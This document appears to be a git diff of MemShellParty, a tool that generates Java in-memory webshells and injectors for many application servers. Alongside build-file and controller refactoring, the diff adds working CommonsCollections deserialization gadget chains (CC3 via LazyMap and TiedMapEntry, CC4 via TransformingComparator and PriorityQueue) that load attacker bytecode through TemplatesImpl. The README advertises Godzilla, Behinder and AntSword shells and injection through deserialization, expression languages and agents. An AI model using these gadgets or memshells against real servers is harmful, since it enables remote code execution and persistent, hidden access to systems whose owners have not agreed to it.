System.out.println("注入器类名:" + result.getInjectorClassName());
System.out.println("内存马类名:" + result.getShellClassName());
System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
Files.write(Paths.get("agent.jar"), agentJarBytes);
```
4. 封装统一生成接口可参考 [GeneratorController.java](boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java)
## 适配情况
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
@@ -84,6 +187,7 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason
| Filter | Filter | Listener | Listener |
| Listener | Listener | Valve | Valve |
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
| ProxyValve | | | |
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
| ContextValve - Agent | | | |
@@ -99,6 +203,7 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason
| Filter | Filter | Servlet | Servlet |
| Listener | Listener | Filter | Filter |
| Valve | Valve(6) | Listener | Listener |
| ProxyValve | | | |
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
| ContextValve - Agent | ContextValve - Agent (6) | | |
| | ServletHandler - Agent (7) | | |
@@ -110,22 +215,30 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason
| Listener | Listener |
| FilterManager - Agent | ServletContext - Agent |
| BES9.5.x | TongWeb6 ~ 7 | InforSuite AS 9 ~ 10 | Apusic AS 9 |
|----------------------|----------------------|------------------------|---------------|
| Filter | Filter | Filter | Servlet |
| Listener | Listener | Listener | Filter |
| Valve | Valve | Valve | Listener |
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | |
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | |
| BES9.5.x | TongWeb6 ~ 7 | InforSuite AS 9 ~ 10 |
|----------------------|----------------------|------------------------|
| Filter | Filter | Filter |
| Listener | Listener | Listener |
| Valve | Valve | Valve |
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
| Apusic AS 9 | Primeton6.5 |
|---------------------|----------------------|
| Servlet | Filter |
| Filter | Listener |
| Listener | Valve |
| FilterChain - Agent | FilterChain - Agent |
| | ContextValve - Agent |
### 内存马功能
- [x] Godzilla 哥斯拉
- [x] Behinder 冰蝎
- [x] [Godzilla 哥斯拉](https://github.com/BeichenDream/Godzilla)
- [x] [Behinder 冰蝎](https://github.com/rebeyond/Behinder)
- [x] 命令执行
- [x] Suo5
- [x] AntSword 蚁剑
- [x] Neo-reGeorg
- [x] [Suo5](https://github.com/zema1/suo5)
- [x] [AntSword 蚁剑](https://github.com/AntSwordProject/antSword)
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
- [x] Custom
### 封装方式
@@ -139,7 +252,7 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason
- [x] 内置脚本引擎、Rhino 脚本引擎
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
- [x] Velocity、Freemarker、JinJava
- [x] 原生反序列化(CB4
- [x] 原生反序列化(CB 和 CC 链
- [x] Agent
- [x] XXL-JOB Executor
- [x] Hessian、Hessian2 反序列化(XSLT链)
@@ -156,23 +269,28 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason
首先需要下载 [bun](https://bun.sh/),这是一款用于构建前端服务的工具。
1. 使用 Git Clone 项目
```bash
git clone https://github.com/ReaJason/MemShellParty.git
```
```bash
git clone https://github.com/ReaJason/MemShellParty.git
```
2. 构建前端项目,build 结束会将静态资源自动移动到 Spring Boot 中以供使用
```bash
cd MemShellParty/web
bun install
bun run build
```
```bash
cd MemShellParty/web
bun install
bun run build
```
3. 构建后端项目,确保使用 JDK17 环境
```bash
cd MemShellParty/boot
./gradlew :boot:bootjar -x test
```
```bash
cd MemShellParty/boot
./gradlew :boot:bootjar -x test
```
构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-1.0.0.jar`
@@ -249,11 +367,6 @@ location /memshell-party {
}
```
## How
1. 如何使用 bytebuddy 生成类,为属性赋值,添加方法,指定位置调用方法?(**WIP**)
2. 如何调试内存马,为什么内存马注入了却不可用?(**WIP**)
## Contribute
> 你的任何反馈以及 issue 交流都是对当前项目的贡献
@@ -270,4 +383,4 @@ location /memshell-party {
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
### Let's start the party 🎉
### Let's start the party 🎉
Binary file not shown.

Before

Width:  |  Height:  |  Size: 140 KiB

After

Width:  |  Height:  |  Size: 130 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 262 KiB

After

Width:  |  Height:  |  Size: 265 KiB

-39
View File
@@ -1,39 +0,0 @@
plugins {
id 'java-platform'
}
dependencies {
constraints {
api 'net.bytebuddy:byte-buddy:1.+'
api 'org.ow2.asm:asm-commons:9.7.1'
api 'com.github.jar-analyzer:class-obf:1.5.0'
api 'javax.servlet:javax.servlet-api:3.0.1'
api 'jakarta.servlet:jakarta.servlet-api:6.0.0'
api 'javax.websocket:javax.websocket-api:1.1'
api 'org.springframework:spring-webmvc:5.3.24'
api 'org.springframework:spring-webflux:5.3.24'
api 'io.projectreactor.netty:reactor-netty-core:1.1.25'
api 'commons-io:commons-io:2.+'
api 'org.apache.commons:commons-lang3:3.+'
api 'commons-codec:commons-codec:1.+'
api 'ch.qos.logback:logback-classic:1.+'
api 'org.apache.bcel:bcel:5.2'
api 'org.java-websocket:Java-WebSocket:1.5.7'
api 'com.squareup.okhttp3:okhttp:4.+'
api 'com.alibaba.fastjson2:fastjson2:2.0.53'
api 'org.jetbrains:annotations:26.0.1'
api 'org.mockito:mockito-core:5.15.2'
api 'org.mockito:mockito-junit-jupiter:5.15.2'
api 'org.hamcrest:hamcrest:3.0'
api 'org.junit:junit-bom:5.11.4'
api 'org.testcontainers:testcontainers:1.20.5'
api 'org.testcontainers:junit-jupiter:1.20.5'
}
}
-62
View File
@@ -1,62 +0,0 @@
plugins {
id 'java'
id 'org.springframework.boot' version '3.4.0'
id 'io.spring.dependency-management' version '1.1.6'
}
group = 'com.reajason.javaweb'
version = rootProject.version
java {
toolchain {
languageVersion = JavaLanguageVersion.of(17)
}
}
def runtimeJvmArgs = [
'--add-opens=java.base/java.util=ALL-UNNAMED',
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
]
tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
tasks.withType(Test).configureEach {
jvmArgs += runtimeJvmArgs
}
// For running the application
tasks.withType(JavaExec).configureEach {
jvmArgs += runtimeJvmArgs
}
configurations {
compileOnly {
extendsFrom annotationProcessor
}
}
dependencies {
implementation(project(":generator")) {
exclude group: 'org.apache.tomcat', module: 'tomcat-catalina'
exclude group: 'commons-logging', module: 'commons-logging'
}
implementation(project(":deserialize")) {
exclude group: 'commons-logging', module: 'commons-logging'
}
implementation 'org.springframework.boot:spring-boot-starter-thymeleaf'
implementation('org.springframework.boot:spring-boot-starter-web') {
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat'
}
implementation 'org.springframework.boot:spring-boot-starter-undertow'
compileOnly 'org.projectlombok:lombok'
developmentOnly 'org.springframework.boot:spring-boot-devtools'
annotationProcessor 'org.springframework.boot:spring-boot-configuration-processor'
annotationProcessor 'org.projectlombok:lombok'
testImplementation 'org.springframework.boot:spring-boot-starter-test'
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
}
test {
useJUnitPlatform()
}
+48
View File
@@ -0,0 +1,48 @@
plugins {
id("java")
id("org.springframework.boot") version "3.5.0"
id("io.spring.dependency-management") version "1.1.7"
}
group = "io.github.reajason"
version = rootProject.version
java {
toolchain {
languageVersion = JavaLanguageVersion.of(17)
}
}
tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
configurations {
compileOnly {
extendsFrom(configurations.annotationProcessor.get())
}
}
dependencies {
implementation(project(":generator")) {
exclude(group = "org.apache.tomcat", module = "tomcat-catalina")
exclude(group = "commons-logging", module = "commons-logging")
}
implementation(project(":deserialize")) {
exclude(group = "commons-logging", module = "commons-logging")
}
implementation("org.springframework.boot:spring-boot-starter-thymeleaf")
implementation("org.springframework.boot:spring-boot-starter-web") {
exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
}
implementation("org.apache.commons:commons-lang3:3.17.0")
implementation("org.springframework.boot:spring-boot-starter-jetty")
compileOnly("org.projectlombok:lombok")
developmentOnly("org.springframework.boot:spring-boot-devtools")
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
annotationProcessor("org.projectlombok:lombok")
testImplementation("org.springframework.boot:spring-boot-starter-test")
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
}
tasks.test {
useJUnitPlatform()
}
@@ -1,17 +1,23 @@
package com.reajason.javaweb.boot;
import com.reajason.javaweb.memshell.Server;
import lombok.extern.slf4j.Slf4j;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import java.util.Arrays;
/**
* @author ReaJason
*/
@SpringBootApplication
@Slf4j
public class BootApplication {
public static void main(String[] args) {
SpringApplication.run(BootApplication.class, args);
Server[] values = Server.values();
log.info("Supported servers: {}", Arrays.toString(values));
log.info("For another server, you can open a issue in GitHub, https://github.com/ReaJason/MemShellParty/issues/new?template=%E8%AF%B7%E6%B1%82%E9%80%82%E9%85%8D.md");
}
}
@@ -1,12 +1,13 @@
package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.entity.Config;
import com.reajason.javaweb.boot.vo.CommandConfigVO;
import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.server.AbstractShell;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@@ -20,8 +21,28 @@ import java.util.*;
@RequestMapping("/config")
@CrossOrigin("*")
public class ConfigController {
@RequestMapping("/servers")
public Map<String, List<String>> getServers() {
Map<String, List<String>> servers = new LinkedHashMap<>();
for (Server server : Server.values()) {
if (server.getShell() != null) {
Set<String> supportedShellTypes = server.getShell().getShellInjectorMapping().getSupportedShellTypes();
servers.put(server.name(), supportedShellTypes.stream().toList());
}
}
return servers;
}
@RequestMapping("/packers")
public List<String> getPackers() {
return Arrays.stream(Packers.values())
.filter(packers -> packers.getParentPacker() == null)
.map(Packers::name).toList();
}
@RequestMapping
public ResponseEntity<?> config() {
public Map<String, Map<?, ?>> config() {
Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
for (Server value : Server.values()) {
AbstractShell shell = value.getShell();
@@ -38,21 +59,14 @@ public class ConfigController {
}
coreMap.put(value.name(), map);
}
Config config = new Config();
Map<String, List<String>> servers = new LinkedHashMap<>();
for (Server server : Server.values()) {
if (server.getShell() != null) {
Set<String> supportedShellTypes = server.getShell().getShellInjectorMapping().getSupportedShellTypes();
servers.put(server.name(), supportedShellTypes.stream().toList());
}
}
config.setServers(servers);
config.setCore(coreMap);
config.setPackers(
Arrays.stream(Packers.values())
.filter(packers -> packers.getParentPacker() == null)
.map(Packers::name).toList()
);
return ResponseEntity.ok(config);
return coreMap;
}
@GetMapping("/command/configs")
public CommandConfigVO getCommandConfigs() {
CommandConfigVO commandConfigVO = new CommandConfigVO();
commandConfigVO.setEncryptors(Arrays.stream(CommandConfig.Encryptor.values()).toList());
commandConfigVO.setImplementationClasses(Arrays.stream(CommandConfig.ImplementationClass.values()).toList());
return commandConfigVO;
}
}
@@ -1,8 +1,8 @@
package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.memshell.MemShellGenerator;
import com.reajason.javaweb.boot.dto.GenerateRequest;
import com.reajason.javaweb.boot.dto.GenerateResponse;
import com.reajason.javaweb.memshell.MemShellGenerator;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
@@ -10,7 +10,6 @@ import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.packer.AggregatePacker;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*;
import java.util.Base64;
@@ -24,18 +23,18 @@ import java.util.Base64;
@CrossOrigin("*")
public class GeneratorController {
@PostMapping
public ResponseEntity<?> generate(@RequestBody GenerateRequest request) {
public GenerateResponse generate(@RequestBody GenerateRequest request) {
ShellConfig shellConfig = request.getShellConfig();
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
InjectorConfig injectorConfig = request.getInjectorConfig();
GenerateResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
Packer packer = request.getPacker().getInstance();
if (packer instanceof JarPacker) {
return ResponseEntity.ok(new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult))));
return new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult)));
} else if (packer instanceof AggregatePacker) {
return ResponseEntity.ok(new GenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult)));
return new GenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult));
} else {
return ResponseEntity.ok(new GenerateResponse(generateResult, packer.pack(generateResult)));
return new GenerateResponse(generateResult, packer.pack(generateResult));
}
}
}
@@ -36,7 +36,7 @@ public class VersionController {
@GetMapping
public VersionInfo version() {
if ("dev".equals(version)) {
if (version.endsWith("-SNAPSHOT")) {
return VersionInfo.builder()
.currentVersion(version)
.latestVersion(version).build();
@@ -2,7 +2,9 @@ package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.Data;
import org.apache.commons.lang3.StringUtils;
/**
* @author ReaJason
@@ -26,42 +28,46 @@ public class GenerateRequest {
private String headerName;
private String headerValue;
private String shellClassBase64;
private String encryptor;
private String implementationClass;
}
public ShellToolConfig parseShellToolConfig() {
return switch (shellConfig.getShellTool()) {
case Godzilla -> GodzillaConfig.builder()
.shellClassName(shellToolConfig.getShellClassName())
.pass(shellToolConfig.getGodzillaPass())
.key(shellToolConfig.getGodzillaKey())
.pass(StringUtils.defaultIfBlank(shellToolConfig.getGodzillaPass(), CommonUtil.getRandomString(8)))
.key(StringUtils.defaultIfBlank(shellToolConfig.getGodzillaKey(), CommonUtil.getRandomString(8)))
.headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
.build();
case Behinder -> BehinderConfig.builder()
.shellClassName(shellToolConfig.getShellClassName())
.pass(shellToolConfig.getBehinderPass())
.pass(StringUtils.defaultIfBlank(shellToolConfig.getBehinderPass(), CommonUtil.getRandomString(8)))
.headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
.build();
case Command -> CommandConfig.builder()
.shellClassName(shellToolConfig.getShellClassName())
.paramName(shellToolConfig.getCommandParamName())
.paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8)))
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
.build();
case Suo5 -> Suo5Config.builder()
.shellClassName(shellToolConfig.getShellClassName())
.headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
.build();
case AntSword -> AntSwordConfig.builder()
.shellClassName(shellToolConfig.getShellClassName())
.pass(shellToolConfig.getAntSwordPass())
.pass(StringUtils.defaultIfBlank(shellToolConfig.getAntSwordPass(), CommonUtil.getRandomString(8)))
.headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
.build();
case NeoreGeorg -> NeoreGeorgConfig.builder()
.shellClassName(shellToolConfig.getShellClassName())
.headerName(shellToolConfig.getHeaderName())
.headerValue(shellToolConfig.getHeaderValue())
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
.build();
case Custom -> CustomConfig.builder()
.shellClassBase64(shellToolConfig.getShellClassBase64())
@@ -0,0 +1,16 @@
package com.reajason.javaweb.boot.vo;
import com.reajason.javaweb.memshell.config.CommandConfig;
import lombok.Data;
import java.util.List;
/**
* @author ReaJason
* @since 2025/5/25
*/
@Data
public class CommandConfigVO {
private List<CommandConfig.Encryptor> encryptors;
private List<CommandConfig.ImplementationClass> implementationClasses;
}
@@ -1,6 +1,5 @@
package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.entity.Config;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
@@ -8,6 +7,9 @@ import org.springframework.boot.test.web.client.TestRestTemplate;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import java.util.List;
import java.util.Map;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertNotNull;
@@ -24,14 +26,31 @@ public class ConfigControllerIntegrationTest {
@Test
public void testConfigEndpoint() {
ResponseEntity<Config> response = restTemplate.getForEntity("/config", Config.class);
ResponseEntity<Map> response = restTemplate.getForEntity("/config", Map.class);
assertEquals(HttpStatus.OK, response.getStatusCode());
Config config = response.getBody();
assertNotNull(config);
assertNotNull(config.getServers());
assertNotNull(config.getCore());
assertNotNull(config.getPackers());
Map body = response.getBody();
assertNotNull(body);
}
@Test
public void testConfigServersEndpoint() {
ResponseEntity<Map> response = restTemplate.getForEntity("/config/servers", Map.class);
assertEquals(HttpStatus.OK, response.getStatusCode());
Map body = response.getBody();
assertNotNull(body);
}
@Test
public void testConfigPackersEndpoint() {
ResponseEntity<List> response = restTemplate.getForEntity("/config/packers", List.class);
assertEquals(HttpStatus.OK, response.getStatusCode());
List<String> body = response.getBody();
assertNotNull(body);
}
}
-47
View File
@@ -1,47 +0,0 @@
version = project.getProperties().get("version") != "unspecified" ? version : '1.0.0'
allprojects {
if (it.name != 'bom') {
apply(plugin: 'java')
apply(plugin: 'idea')
apply(plugin: 'jacoco')
}
if (it.name != 'bom' && !it.name.startsWith("vul")) {
dependencies {
implementation platform(project(':bom'))
}
}
}
idea {
module {
excludeDirs += file('src')
}
}
jacocoTestReport {
reports {
xml.required = true
csv.required = true
html.required = true
}
afterEvaluate {
executionData.from fileTree(rootDir) {
include '**/build/jacoco/**/*.exec'
}
sourceDirectories = files('generator/src/main/java')
classDirectories.from(
fileTree('generator/build/classes/java/main') {
excludes = [
'com/reajason/javaweb/memsell/**/godzilla/**',
'com/reajason/javaweb/memsell/**/injector/**',
'com/reajason/javaweb/memsell/**/command/**',
'com/reajason/javaweb/config/**'
]
}
)
}
}
+21
View File
@@ -0,0 +1,21 @@
plugins {
id("java")
}
version = "1.10.0"
tasks.register("publishAllToMavenCentral") {
val isSnapshot = rootProject.version.toString().endsWith("-SNAPSHOT")
if (isSnapshot) {
dependsOn(":memshell-party-bom:publishAllPublicationsToMavenCentralRepository")
dependsOn(":memshell-party-common:publishAllPublicationsToMavenCentralRepository")
dependsOn(":deserialize:publishAllPublicationsToMavenCentralRepository")
dependsOn(":memshell:publishAllPublicationsToMavenCentralRepository")
dependsOn(":generator:publishAllPublicationsToMavenCentralRepository")
} else {
dependsOn(":memshell-party-bom:publishAndReleaseToMavenCentral")
dependsOn(":memshell-party-common:publishAndReleaseToMavenCentral")
dependsOn(":deserialize:publishAndReleaseToMavenCentral")
dependsOn(":memshell:publishAndReleaseToMavenCentral")
dependsOn(":generator:publishAndReleaseToMavenCentral")
}
}
+11
View File
@@ -0,0 +1,11 @@
plugins {
`kotlin-dsl`
}
repositories {
mavenCentral()
}
dependencies {
implementation("com.vanniktech:gradle-maven-publish-plugin:0.32.0")
}
@@ -0,0 +1,40 @@
import com.vanniktech.maven.publish.SonatypeHost
plugins {
id("com.vanniktech.maven.publish")
}
mavenPublishing {
publishToMavenCentral(SonatypeHost.CENTRAL_PORTAL)
signAllPublications()
coordinates(
"io.github.reajason",
project.name,
rootProject.version as String
)
pom {
name.set("MemShellParty")
description.set(project.description)
url.set("https://github.com/ReaJason/MemShellParty")
inceptionYear.set("2025")
licenses {
license {
name.set("MIT")
url.set("https://spdx.org/licenses/MIT.html")
}
}
developers {
developer {
id.set("reajason")
name.set("ReaJason")
url.set("https://reajason.eu.org")
}
}
scm {
connection.set("scm:git:https://github.com/ReaJason/MemShellParty.git")
developerConnection.set("scm:git:ssh://github.com/ReaJason/MemShellParty.git")
url.set("https://github.com/ReaJason/MemShellParty")
}
}
}
-28
View File
@@ -1,28 +0,0 @@
plugins {
id "io.freefair.lombok" version "8.11"
}
group = 'com.reajason.javaweb'
version = rootProject.version
java {
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
dependencies {
implementation 'net.bytebuddy:byte-buddy'
implementation 'org.ow2.asm:asm-commons'
implementation 'commons-io:commons-io'
implementation 'org.apache.commons:commons-lang3'
implementation 'commons-codec:commons-codec'
implementation 'org.jetbrains:annotations'
testImplementation platform('org.junit:junit-bom')
testImplementation 'org.junit.jupiter:junit-jupiter'
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
testImplementation "org.mockito:mockito-core"
}
test {
useJUnitPlatform()
}
File diff suppressed because one or more lines are too long
-28
View File
@@ -1,28 +0,0 @@
plugins {
id "io.freefair.lombok" version "8.11"
}
group = 'com.reajason.javaweb'
version = rootProject.version
dependencies {
implementation 'net.bytebuddy:byte-buddy'
implementation 'com.caucho:hessian:4.0.66'
implementation 'commons-beanutils:commons-beanutils:1.9.4'
testImplementation platform('org.junit:junit-bom')
testImplementation 'org.junit.jupiter:junit-jupiter'
}
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
test {
useJUnitPlatform()
}
+33
View File
@@ -0,0 +1,33 @@
plugins {
id("java")
alias(libs.plugins.lombok)
id("maven-publish-convention")
}
group = "io.github.reajason"
description = "Java deserialize payload for MemShellParty"
version = rootProject.version
dependencies {
implementation(platform(project(":memshell-party-bom")))
implementation(project(":memshell-party-common"))
implementation("net.bytebuddy:byte-buddy")
implementation("com.caucho:hessian:4.0.66")
implementation("commons-beanutils:commons-beanutils:1.9.2")
implementation("commons-collections:commons-collections:3.2.1")
implementation("org.apache.commons:commons-collections4:4.0")
testImplementation(platform("org.junit:junit-bom"))
testImplementation("org.junit.jupiter:junit-jupiter")
}
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
tasks.test {
useJUnitPlatform()
}
@@ -1,10 +1,7 @@
package com.reajason.javaweb.deserialize;
import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils110;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils16;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils18;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19;
import com.reajason.javaweb.deserialize.payload.java.*;
import lombok.Getter;
/**
@@ -21,6 +18,12 @@ public enum PayloadType {
CommonsBeanutils19(new CommonsBeanutils19()),
CommonsBeanutils110(new CommonsBeanutils110()),
/**
* CC 链
*/
CommonsCollections3(new CommonCollections3()),
CommonsCollections4(new CommonCollections4()),
/**
* Hessian XSLT write
*/
@@ -1,12 +1,14 @@
package com.reajason.javaweb.deserialize;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.deserialize.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.jar.asm.Opcodes;
/**
* @author ReaJason
@@ -20,8 +22,9 @@ public class TemplateUtils {
byte[] fooBytes;
try (DynamicType.Unloaded<Object> make = new ByteBuddy()
.subclass(Object.class).name("foo")
.visit(new TargetJreVersionVisitorWrapper(Opcodes.V1_6))
.make()) {
fooBytes = make.getBytes();
fooBytes = ClassBytesShrink.shrink(make.getBytes(), true);
}
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{
@@ -0,0 +1,43 @@
package com.reajason.javaweb.deserialize.payload.java;
import com.reajason.javaweb.deserialize.Payload;
import com.reajason.javaweb.deserialize.TemplateUtils;
import com.reajason.javaweb.deserialize.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import lombok.SneakyThrows;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
/**
* CC11 链 from <a href="https://github.com/dota-st/JavaSec/blob/master/03-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%93%E5%8C%BA/9-CommonsCollections11/CommonsCollections11.md">CommonsCollections11.md</a>
*
* @author ReaJason
* @since 2025/4/2
*/
public class CommonCollections3 implements Payload {
@Override
@SneakyThrows
@SuppressWarnings({"rawtypes", "unchecked"})
public Object generate(byte[] bytes) {
TemplatesImpl templates = TemplateUtils.createTemplatesImpl(bytes);
InvokerTransformer invokerTransformer = new InvokerTransformer("toString", null, null);
Map innerMap = new HashMap<>();
Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);
Map expMap = new HashMap<>();
expMap.put(tiedMapEntry, "valueTest");
outerMap.remove(templates);
Reflections.setFieldValue(invokerTransformer, "iMethodName", "newTransformer");
return expMap;
}
}
@@ -0,0 +1,39 @@
package com.reajason.javaweb.deserialize.payload.java;
import com.reajason.javaweb.deserialize.Payload;
import com.reajason.javaweb.deserialize.TemplateUtils;
import com.reajason.javaweb.deserialize.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import lombok.SneakyThrows;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.util.PriorityQueue;
/**
* @author ReaJason
* @since 2025/4/2
*/
public class CommonCollections4 implements Payload {
@Override
@SneakyThrows
@SuppressWarnings({"rawtypes", "unchecked"})
public Object generate(byte[] bytes) {
TemplatesImpl templates = TemplateUtils.createTemplatesImpl(bytes);
ChainedTransformer chain =
new ChainedTransformer(
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class}, new Object[]{templates}));
TransformingComparator comparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(2, comparator);
Reflections.setFieldValue(queue, "size", 2);
Reflections.setFieldValue(queue, "comparator", comparator);
return queue;
}
}
+379
View File
@@ -0,0 +1,379 @@
<h1 align="center">MemShellParty</h1>
<p align="center">English | <a href="../README.md">中文</a><br></p>
<div align="center">
[![ci-test](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/test.yaml?label=Test%20CI&branch=master&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
[![ci-release](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/release.yaml?label=Release%20CD&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
</div>
<div align="center">
[![release](https://img.shields.io/github/v/release/reajason/memshellparty?label=Release&style=flat-square)](https://github.com/ReaJason/MemShellParty/releases)
[![MavenCentral](https://img.shields.io/maven-central/v/io.github.reajason/generator?label=MavenCentral&style=flat-square)](https://central.sonatype.com/artifact/io.github.reajason/generator)
[![docker-pulls](https://img.shields.io/docker/pulls/reajason/memshell-party?label=DockerHub%20Pulls&style=flat-square)](https://hub.docker.com/r/reajason/memshell-party)
</div>
<div align="center">
[![Telegram](https://img.shields.io/badge/Chat-Telegram-%2326A5E4?style=flat-square&logo=telegram&logoColor=%2326A5E4)](https://t.me/memshell)
[![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.memshell.news)
</div>
> [!WARNING]
